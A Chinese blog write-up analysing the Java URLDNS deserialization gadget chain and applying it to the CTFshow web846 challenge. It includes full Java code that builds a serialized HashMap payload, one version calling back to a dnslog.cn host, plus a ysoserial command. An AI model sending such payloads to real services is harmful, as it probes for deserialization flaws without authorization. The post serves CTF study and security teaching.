URLDNS链分析

URLDNS 反序列化分析

1)入口类重写readObject方法

2)入口类可传入任意对象(这种类一般为集合类)

3)执行类可被利用执行危险或任意函数

链子

  1. HashMap->readObject()
  2. HashMap->hash()
  3. URL->hashCode()
  4. URLStreamHandler->hashCode()
  5. URLStreamHandler->getHostAddress()
  6. InetAddress->getByName()

这条链的入口类是java.util.HashMap,入口类的条件上篇文章写在了最后,这里在提一嘴,实现Serializable接口;重写readObject方法,调用一个常见的函数;接收参数类型宽泛;最好JDK自带;

HashMap

首先看一下HashMap,这个类实现了Serializable接口

Untitled

重写了readObject方法,重写方法因为HashMap<K,V>存储数据采用的哈希表结构,元素的存取顺序不能保证一致。由于要保证键的唯一、不重复,在反序列化过程中就需要对Key进行hash,这样一来就需要重写readObject方法。

Untitled

putVal()就是哈希表结构存储函数,这个不是关键,关键是它调用了hash函数,根据key产生hash。跟进hash()函数,可以看到,这里使用传入参数对象keyhashCode方法。

Untitled

很多类中都具有hashCode方法(用来进行哈希),所以接下来考虑有没有可能存在某个特殊的类M,其hashCode方法中直接或间接可调用危险函数。这条URLDNS链中使用的执行类就是URL类。看URL类之前,还需要确定一下HashMapreadObject过程中能够正常执行到putVal()方法这里,以及传入hash方法中的参数对象keys是可控的。

首先可以看到,参数对象Keys.readObject()获取,s是输入的序列化流,证明key是可控的。只要mappings的长度大于0,也就是序列化流不为空就满足利用条件。

URL

Untitled

可以看到当hashCode属性的值为-1时,跳过if条件,执行handler对象的hashCode方法,并将自身URL类的实例作为参数传入。handlerURLStreamHandler的实例,跟进handlerhashCode方法,接收URL类的实例,调⽤getHostAddress⽅法

Untitled

继续跟进getHostAddress⽅法,getHostAddress方法中会获取传入的URL对象的IP,也就是会进行DNS请求。

Untitled

这⾥ InetAddress.getByName(host) 的作⽤是根据主机名,获取其IP地址,在⽹络上其实就是⼀次DNS查询。

最终Exp:

package ysoserial;
import java.io.FileOutputStream;
import java.io.ObjectOutputStream;
import java.lang.reflect.Field;
import java.net.URL;
import java.util.HashMap;

public class CiTest {

public static void main(String[] args) throws Exception{

        HashMap h=new HashMap();
        URL url=new URL("http://c33test.trj7m6.dnslog.cn");
        Class cls=Class.forName("java.net.URL");
        Field f = cls.getDeclaredField("hashCode");
        f.setAccessible(true);
        f.set(url,1); //为了防止在serialize的时候就产生了url请求
        h.put(url,1);
        f.set(url,-1);

    ObjectOutputStream oos=new ObjectOutputStream(new FileOutputStream("seri.bin"));
    oos.writeObject(h);

}
}

例题测试

CTFshow-web846

Untitled

代码:

package ysoserial;
import java.io.ByteArrayOutputStream;
import java.io.FileOutputStream;
import java.io.ObjectOutputStream;
import java.lang.reflect.Field;
import java.net.URL;
import java.util.Base64;
import java.util.HashMap;

public class CiTest {

public static void main(String[] args) throws Exception{

        HashMap h=new HashMap();
        URL url=new URL("http://cfc600c8-eb7a-4756-a5e0-2b6b57268b5e.challenge.ctf.show/");
        Class cls=Class.forName("java.net.URL");
        Field f = cls.getDeclaredField("hashCode");
        f.setAccessible(true);
        f.set(url,1); //为了防止在serialize的时候就产生了url请求
        h.put(url,1);
        f.set(url,-1);

//    ObjectOutputStream oos=new ObjectOutputStream(new FileOutputStream("seri.bin"));
//    oos.writeObject(h);

    ByteArrayOutputStream b = new ByteArrayOutputStream();
    ObjectOutputStream oos = new ObjectOutputStream(b);
    oos.writeObject(h);
    byte[] Bytes = b.toByteArray();
    Base64.Encoder encoder = Base64.getEncoder();
    String base64 = encoder.encodeToString(Bytes);
    System.out.println(base64);
}
}

最后通过post发送就行

当然这里也可以直接用ysoserial

java -jar ysoserial.jar URLDNS "题目地址"|base64

Untitled

参考连接

https://www.cnblogs.com/-meditation-/articles/16270796.html

https://www.bilibili.com/video/av207012653?p=2

posted @ 2023-03-01 16:46  z2n3  阅读(173)  评论(0编辑  收藏  举报